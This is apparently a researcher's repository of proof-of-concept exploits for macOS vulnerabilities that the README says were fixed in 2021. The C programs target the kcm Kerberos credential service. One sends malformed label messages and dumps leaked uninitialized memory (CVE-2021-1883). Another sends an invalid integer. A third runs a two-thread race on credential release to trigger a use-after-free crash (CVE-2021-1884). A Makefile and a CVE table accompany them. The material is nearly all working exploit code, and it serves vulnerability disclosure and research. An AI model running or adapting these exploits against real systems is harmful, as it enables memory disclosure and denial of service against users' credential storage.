print the final ASCII buffer. 141 | 142 | printf (" %s\n", buff); 143 | } 144 | 145 | 146 | void add_cred(void* krb_context, char* name, krb5_uuid out_uuid) 147 | { 148 | void* storage = NULL; 149 | krb5_error_code err = 0; 150 | err = krb5_kcm_storage_request(krb_context, KCM_OP_ADD_NTLM_CRED, &storage); 151 | 152 | // fake nthash, contents don't actually matter 153 | krb5_data nthash; 154 | nthash.length = 4; 155 | nthash.data = "AAAA"; 156 | 157 | err = krb5_store_stringz(storage, name); // user 158 | err = krb5_store_stringz(storage, "debug"); // domain 159 | err = krb5_store_data(storage, nthash); // fake hash 160 | 161 | 162 | // send the message 163 | void* response = NULL; 164 | krb5_data response_data; 165 | 166 | err = krb5_kcm_call(krb_context, storage, &response, &response_data); 167 | //printf("msg: call err %i\n", err); 168 | 169 | krb5_ret_uuid(response, out_uuid); 170 | } 171 | 172 | uint32_t sizes[] = {0x20, 0x40, 0x60, 0x80, 0x100, 0x200}; 173 | #define SIZES_COUNT (sizeof(sizes) / sizeof(uint32_t)) 174 | 175 | int main(int argc, char** argv) 176 | { 177 | void* krb_context = NULL; 178 | krb5_error_code err = 0; 179 | 180 | // set up our connection 181 | err = krb5_init_context(&krb_context); 182 | printf("err: %i ctx: %p\n", err, krb_context); 183 | 184 | krb5_uuid cred_id = {0}; 185 | add_cred(krb_context, "cool_leak", cred_id); 186 | hexDump("Cred id", cred_id, sizeof(cred_id)); 187 | 188 | for(uint32_t i = 0; i < SIZES_COUNT; i++) 189 | { 190 | // set up our malformed message 191 | void* storage = NULL; 192 | err = krb5_kcm_storage_request(krb_context, KCM_OP_CRED_LABEL_SET, &storage); 193 | printf("msg1 err: %i storage: %p\n", err, storage); 194 | 195 | char buf_label[0x10]; 196 | sprintf(buf_label, "buf_%i", sizes[i]); 197 | 198 | err = krb5_store_uuid(storage, cred_id); 199 | err = krb5_store_stringz(storage, buf_label); 200 | err = krb5_store_int32(storage, sizes[i]); // put the number of bytes we want to leak 201 | 202 | // send the message 203 | void* response = NULL; 204 | krb5_data response_data; 205 | err = krb5_kcm_call(krb_context, storage, &response, &response_data); 206 | printf("msg1: call err %i\n", err); 207 | 208 | 209 | // send the GET request to leak the data back 210 | storage = NULL; 211 | err = krb5_kcm_storage_request(krb_context, KCM_OP_CRED_LABEL_GET, &storage); 212 | printf("msg2 err: %i storage: %p\n", err, storage); 213 | err = krb5_store_uuid(storage, cred_id); 214 | err = krb5_store_stringz(storage, buf_label); 215 | response = NULL; 216 | err = krb5_kcm_call(krb_context, storage, &response, &response_data); 217 | printf("msg2: call err %i\n", err); 218 | 219 | krb5_data leak_data = {0}; 220 | krb5_ret_data(response, &leak_data); 221 | hexDump("Leaked data", leak_data.data, leak_data.length); 222 | 223 | } 224 | 225 | 226 | return 0; 227 | } 228 | -------------------------------------------------------------------------------- /CVE-2021-1883-kcm/kcm_poc.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | typedef enum kcm_operation { 5 | KCM_OP_NOOP, 6 | KCM_OP_GET_NAME, 7 | KCM_OP_RESOLVE, 8 | KCM_OP_DEPRECATED_GEN_NEW, 9 | KCM_OP_INITIALIZE, 10 | KCM_OP_DESTROY, 11 | KCM_OP_STORE, 12 | KCM_OP_RETRIEVE, 13 | KCM_OP_GET_PRINCIPAL, 14 | KCM_OP_GET_CRED_UUID_LIST, 15 | KCM_OP_GET_CRED_BY_UUID, 16 | KCM_OP_REMOVE_CRED, 17 | KCM_OP_SET_FLAGS, 18 | KCM_OP_CHOWN, 19 | KCM_OP_CHMOD, 20 | KCM_OP_GET_INITIAL_TICKET, 21 | KCM_OP_GET_TICKET, 22 | KCM_OP_MOVE_CACHE, 23 | KCM_OP_GET_CACHE_UUID_LIST, 24 | KCM_OP_GET_CACHE_BY_UUID, 25 | KCM_OP_GET_DEFAULT_CACHE, 26 | KCM_OP_SET_DEFAULT_CACHE, 27 | KCM_OP_GET_KDC_OFFSET, 28 | KCM_OP_SET_KDC_OFFSET, 29 | KCM_OP_RETAIN_KCRED, 30 | KCM_OP_RELEASE_KCRED, 31 | KCM_OP_GET_UUID, 32 | /* NTLM operations */ 33 | KCM_OP_ADD_NTLM_CRED, 34 | KCM_OP_HAVE_NTLM_CRED, 35 | KCM_OP_ADD_NTLM_CHALLENGE, 36 | KCM_OP_DO_NTLM_AUTH, 37 | KCM_OP_GET_NTLM_USER_LIST, 38 | /* SCRAM */ 39 | KCM_OP_ADD_SCRAM_CRED, 40 | KCM_OP_HAVE_SCRAM_CRED, 41 | KCM_OP_DEL_SCRAM_CRED, 42 | KCM_OP_DO_SCRAM_AUTH, 43 | KCM_OP_GET_SCRAM_USER_LIST, 44 | /* GENERIC */ 45 | KCM_OP_DESTROY_CRED, 46 | KCM_OP_RETAIN_CRED, 47 | KCM_OP_RELEASE_CRED, 48 | KCM_OP_CRED_LABEL_GET, 49 | KCM_OP_CRED_LABEL_SET, 50 | /* */ 51 | KCM_OP_CHECK_NTLM_CHALLENGE, 52 | KCM_OP_GET_CACHE_PRINCIPAL_LIST, 53 | KCM_OP_MAX 54 | } kcm_operation; 55 | 56 | typedef int32_t krb5_error_code; 57 | typedef unsigned char krb5_uuid[16]; 58 | 59 | struct heim_base_data { 60 | size_t length; 61 | void *data; 62 | }; 63 | 64 | typedef struct heim_base_data heim_octet_string; 65 | typedef heim_octet_string krb5_data; 66 | 67 | krb5_error_code krb5_init_context(void* context); 68 | krb5_error_code krb5_kcm_storage_request(void* context, uint16_t opcode, void** storage); 69 | krb5_error_code krb5_store_uuid(void* storage, krb5_uuid uuid); 70 | krb5_error_code krb5_store_int32(void* storage, int32_t len); 71 | krb5_error_code krb5_store_stringz(void* storage, const char* str); 72 | krb5_error_code krb5_store_data(void* storage, krb5_data* data); 73 | krb5_error_code krb5_kcm_call(void* context, void* request, void* response, krb5_data* response_data); 74 | 75 | int main(int argc, char** argv) 76 | { 77 | void* krb_context = NULL; 78 | krb5_error_code err = 0; 79 | 80 | // set up our connection 81 | err = krb5_init_context(&krb_context); 82 | printf("err: %i ctx: %p\n", err, krb_context); 83 | 84 | // set up our malformed message 85 | void* storage = NULL; 86 | err = krb5_kcm_storage_request(krb_context, KCM_OP_CRED_LABEL_SET, &storage); 87 | printf("msg1 err: %i storage: %p\n", err, storage); 88 | 89 | krb5_uuid cred_id = "hiAPPLEplzBOUNTY"; 90 | err = krb5_store_uuid(storage, cred_id); 91 | err = krb5_store_int32(storage, 0x7fffffff); // put an invalid int instead of a str+data like it's expecting 92 | 93 | // send the message 94 | void* response = NULL; 95 | krb5_data response_data; 96 | err = krb5_kcm_call(krb_context, storage, &response, &response_data); 97 | printf("msg1: call err %i\n", err); 98 | 99 | return 0; 100 | } 101 | -------------------------------------------------------------------------------- /CVE-2021-1884-kcm/Makefile: -------------------------------------------------------------------------------- 1 | # the compiler to use 2 | CC = clang 3 | 4 | MAC_SDK = $(shell xcrun --sdk macosx --show-sdk-path)/System/Library/PrivateFrameworks/ 5 | 6 | TARGET = kcm 7 | 8 | all: kcm_uaf 9 | 10 | kcm_uaf: kcm_uaf.c 11 | $(CC) kcm_uaf.c -F$(MAC_SDK) -framework Heimdal -o $(TARGET)_uaf 12 | -------------------------------------------------------------------------------- /CVE-2021-1884-kcm/details_uaf.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Peterpan0927/pocs/6010b1c5ce96889086b4fb3c8363dbdd8464ce5f/CVE-2021-1884-kcm/details_uaf.pdf -------------------------------------------------------------------------------- /CVE-2021-1884-kcm/kcm_uaf.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | 9 | typedef enum kcm_operation { 10 | KCM_OP_NOOP, 11 | KCM_OP_GET_NAME, 12 | KCM_OP_RESOLVE, 13 | KCM_OP_DEPRECATED_GEN_NEW, 14 | KCM_OP_INITIALIZE, 15 | KCM_OP_DESTROY, 16 | KCM_OP_STORE, 17 | KCM_OP_RETRIEVE, 18 | KCM_OP_GET_PRINCIPAL, 19 | KCM_OP_GET_CRED_UUID_LIST, 20 | KCM_OP_GET_CRED_BY_UUID, 21 | KCM_OP_REMOVE_CRED, 22 | KCM_OP_SET_FLAGS, 23 | KCM_OP_CHOWN, 24 | KCM_OP_CHMOD, 25 | KCM_OP_GET_INITIAL_TICKET, 26 | KCM_OP_GET_TICKET, 27 | KCM_OP_MOVE_CACHE, 28 | KCM_OP_GET_CACHE_UUID_LIST, 29 | KCM_OP_GET_CACHE_BY_UUID, 30 | KCM_OP_GET_DEFAULT_CACHE, 31 | KCM_OP_SET_DEFAULT_CACHE, 32 | KCM_OP_GET_KDC_OFFSET, 33 | KCM_OP_SET_KDC_OFFSET, 34 | KCM_OP_RETAIN_KCRED, 35 | KCM_OP_RELEASE_KCRED, 36 | KCM_OP_GET_UUID, 37 | /* NTLM operations */ 38 | KCM_OP_ADD_NTLM_CRED, 39 | KCM_OP_HAVE_NTLM_CRED, 40 | KCM_OP_ADD_NTLM_CHALLENGE, 41 | KCM_OP_DO_NTLM_AUTH, 42 | KCM_OP_GET_NTLM_USER_LIST, 43 | /* SCRAM */ 44 | KCM_OP_ADD_SCRAM_CRED, 45 | KCM_OP_HAVE_SCRAM_CRED, 46 | KCM_OP_DEL_SCRAM_CRED, 47 | KCM_OP_DO_SCRAM_AUTH, 48 | KCM_OP_GET_SCRAM_USER_LIST, 49 | /* GENERIC */ 50 | KCM_OP_DESTROY_CRED, 51 | KCM_OP_RETAIN_CRED, 52 | KCM_OP_RELEASE_CRED, 53 | KCM_OP_CRED_LABEL_GET, 54 | KCM_OP_CRED_LABEL_SET, 55 | /* */ 56 | KCM_OP_CHECK_NTLM_CHALLENGE, 57 | KCM_OP_GET_CACHE_PRINCIPAL_LIST, 58 | KCM_OP_MAX 59 | } kcm_operation; 60 | 61 | typedef int32_t krb5_error_code; 62 | typedef unsigned char krb5_uuid[16]; 63 | 64 | struct heim_base_data { 65 | size_t length; 66 | void *data; 67 | }; 68 | 69 | typedef struct heim_base_data heim_octet_string; 70 | typedef heim_octet_string krb5_data; 71 | 72 | krb5_error_code krb5_init_context(void* context); 73 | krb5_error_code krb5_kcm_storage_request(void* context, uint16_t opcode, void** storage); 74 | krb5_error_code krb5_store_uuid(void* storage, krb5_uuid uuid); 75 | krb5_error_code krb5_store_int32(void* storage, int32_t len); 76 | krb5_error_code krb5_store_stringz(void* storage, const char* str); 77 | krb5_error_code krb5_store_data(void* storage, krb5_data data); 78 | krb5_error_code krb5_ret_uuid(void *storage, krb5_uuid uuid); 79 | krb5_error_code krb5_kcm_call(void* context, void* request, void* response, krb5_data* response_data); 80 | 81 | typedef struct _thread_info 82 | { 83 | void* krb_context; 84 | dispatch_semaphore_t wait_sem; 85 | dispatch_semaphore_t signal_sem; 86 | } thread_info, *thread_info_t; 87 | 88 | char* nice_buf = "BBBB"; 89 | 90 | krb5_uuid cred_uuid; 91 | 92 | dispatch_semaphore_t sem1; 93 | dispatch_semaphore_t sem2; 94 | 95 | void* krb_context_thread1; 96 | void* krb_context_thread2; 97 | 98 | bool t1done = true; 99 | bool t2done = true; 100 | 101 | void add_cred(void* krb_context, char* name, krb5_uuid out_uuid) 102 | { 103 | void* storage = NULL; 104 | krb5_error_code err = 0; 105 | err = krb5_kcm_storage_request(krb_context, KCM_OP_ADD_NTLM_CRED, &storage); 106 | 107 | // fake nthash, contents don't actually matter 108 | krb5_data nthash; 109 | nthash.length = 4; 110 | nthash.data = nice_buf; 111 | 112 | err = krb5_store_stringz(storage, name); // user 113 | err = krb5_store_stringz(storage, "debug"); // domain 114 | err = krb5_store_data(storage, nthash); // fake hash 115 | 116 | 117 | // send the message 118 | void* response = NULL; 119 | krb5_data response_data; 120 | 121 | err = krb5_kcm_call(krb_context, storage, &response, &response_data); 122 | //printf("msg: call err %i\n", err); 123 | 124 | krb5_ret_uuid(response, out_uuid); 125 | } 126 | 127 | /* 128 | !!! THE FOLLOWING TWO FUNCTIONS ARE (MOSTLY) THE SAME !!! 129 | the only differences are the use of the t1done or t2done (I'm bad at threading) 130 | and the order of the calls to dispatch_semaphore_wait/dispatch_semaphore_signal, 131 | which are reversed to attempt to syncronize the api calls as much as possible 132 | */ 133 | void race_thread1(thread_info_t info) 134 | { 135 | while(1) 136 | { 137 | while(t1done) {} // very hacky spin until add_cred is done 138 | void* storage = NULL; 139 | krb5_error_code err = 0; 140 | void* response = NULL; 141 | krb5_data response_data; 142 | 143 | // build our OP_RELEASE_CRED message, only contains the cred uuid 144 | err = krb5_kcm_storage_request(info->krb_context, KCM_OP_RELEASE_CRED, &storage); 145 | err = krb5_store_uuid(storage, cred_uuid); 146 | 147 | // syncronize with race_thread2 148 | dispatch_semaphore_wait(info->wait_sem, DISPATCH_TIME_FOREVER); 149 | dispatch_semaphore_signal(info->signal_sem); 150 | 151 | // attempt to call at the same time as race_thread2 152 | // this will (hopefully) crash the server 153 | err = krb5_kcm_call(info->krb_context, storage, &response, &response_data); 154 | t1done = true; 155 | } 156 | } 157 | 158 | void race_thread2(thread_info_t info) 159 | { 160 | while(1) 161 | { 162 | while(t2done) {} // very hacky spin until add_cred is done 163 | void* storage = NULL; 164 | krb5_error_code err = 0; 165 | void* response = NULL; 166 | krb5_data response_data; 167 | 168 | // build our OP_RELEASE_CRED message, only contains the cred uuid 169 | err = krb5_kcm_storage_request(info->krb_context, KCM_OP_RELEASE_CRED, &storage); 170 | err = krb5_store_uuid(storage, cred_uuid); 171 | 172 | // syncronize with race_thread1 173 | dispatch_semaphore_signal(info->signal_sem); 174 | dispatch_semaphore_wait(info->wait_sem, DISPATCH_TIME_FOREVER); 175 | 176 | // attempt to call at the same time as race_thread2 177 | // this will (hopefully) crash the server 178 | err = krb5_kcm_call(info->krb_context, storage, &response, &response_data); 179 | t2done = true; 180 | } 181 | } 182 | 183 | int main(int argc, char** argv) 184 | { 185 | krb5_error_code err = 0; 186 | 187 | // set up 3 connections: 1 for adding creds, and 2 for the race threads 188 | void* krb_context = NULL; 189 | err = krb5_init_context(&krb_context); 190 | printf("err: %i ctx: %p\n", err, krb_context); 191 | err = krb5_init_context(&krb_context_thread1); 192 | printf("err: %i ctx: %p\n", err, krb_context_thread1); 193 | err = krb5_init_context(&krb_context_thread2); 194 | printf("err: %i ctx: %p\n", err, krb_context_thread2); 195 | 196 | // set up the semaphores used to syncronize the race threads 197 | sem1 = dispatch_semaphore_create(1); 198 | sem2 = dispatch_semaphore_create(1); 199 | 200 | // Set up info passed into the threads: 201 | // only differences are connection contexts 202 | // and which semaphore is wait/signal 203 | thread_info thread1; 204 | thread1.krb_context = krb_context_thread1; 205 | thread1.wait_sem = sem1; 206 | thread1.signal_sem = sem2; 207 | thread_info thread2; 208 | thread2.krb_context = krb_context_thread2; 209 | thread2.wait_sem = sem2; 210 | thread2.signal_sem = sem1; 211 | 212 | // create & kick off threads to try to trigger the race 213 | pthread_t pt1; 214 | pthread_t pt2; 215 | pthread_create(&pt1, NULL, race_thread1, &thread1); 216 | pthread_create(&pt2, NULL, race_thread2, &thread2); 217 | 218 | // loop forever, adding creds and having the threads attempt to release them 219 | while(1) 220 | { 221 | if(t1done && t2done) 222 | { 223 | add_cred(krb_context, "kcm_poc", cred_uuid); 224 | t1done = false; 225 | t2done = false; 226 | } 227 | } 228 | return 0; 229 | } 230 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PoCs 2 | 3 | | CVE | Platform | Component | Bug Class | Methodology | Date Reported | Date Fixed | 4 | |-----|----------|-----------|-----------|-------------|---------------|------------| 5 | | CVE-2021-1882 | macOS | distnoted | Arbitrary Pointer Use | Fuzzing | 01/04/2021 | 04/26/2021 | 6 | | CVE-2021-1883 | macOS | kcm | Uninitialized Memory Use | Code Review | 01/10/2021 | 04/26/2021 | 7 | | CVE-2021-1884 | macOS | kcm | Use-after-Free | Code Review | 01/31/2021 | 04/26/2021 | 8 | --------------------------------------------------------------------------------